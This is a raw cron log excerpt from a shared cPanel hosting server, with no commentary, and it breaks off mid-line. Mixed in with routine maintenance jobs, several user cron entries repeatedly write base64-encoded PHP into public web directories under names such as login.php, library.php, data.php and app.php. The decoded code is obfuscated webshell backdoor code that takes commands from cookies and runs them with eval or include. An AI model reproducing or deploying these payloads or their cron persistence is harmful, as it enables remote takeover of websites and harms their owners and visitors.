Mar  2 04:50:01 medusa CROND[22333]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:50:01 medusa CROND[22334]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22343]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 04:50:01 medusa CROND[22365]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:50:01 medusa CROND[22374]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:50:01 medusa CROND[22379]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:50:01 medusa CROND[22380]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:50:01 medusa CROND[22368]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  2 04:50:01 medusa CROND[22369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:50:01 medusa CROND[22388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 04:51:01 medusa CROND[10874]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:51:01 medusa CROND[10875]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:51:01 medusa CROND[10876]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:51:01 medusa CROND[10881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:51:01 medusa CROND[10882]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:51:01 medusa CROND[10884]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:51:01 medusa CROND[10885]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:51:01 medusa CROND[10888]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:51:01 medusa CROND[10889]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:51:01 medusa CROND[10895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:51:01 medusa CROND[10901]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:51:01 medusa CROND[10902]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:51:01 medusa CROND[10903]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:51:01 medusa CROND[10917]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:51:01 medusa CROND[10918]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:52:01 medusa CROND[31710]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:52:02 medusa CROND[31835]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:52:02 medusa CROND[31836]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:52:02 medusa CROND[31837]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:52:02 medusa CROND[31838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:52:02 medusa CROND[31839]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:52:02 medusa CROND[31840]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:52:02 medusa CROND[31847]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:52:02 medusa CROND[31846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:52:02 medusa CROND[31851]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:52:02 medusa CROND[31848]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:52:02 medusa CROND[31845]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:52:02 medusa CROND[31855]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:53:01 medusa CROND[18551]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:53:02 medusa CROND[18760]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:53:02 medusa CROND[18761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:53:02 medusa CROND[18762]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:53:02 medusa CROND[18763]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 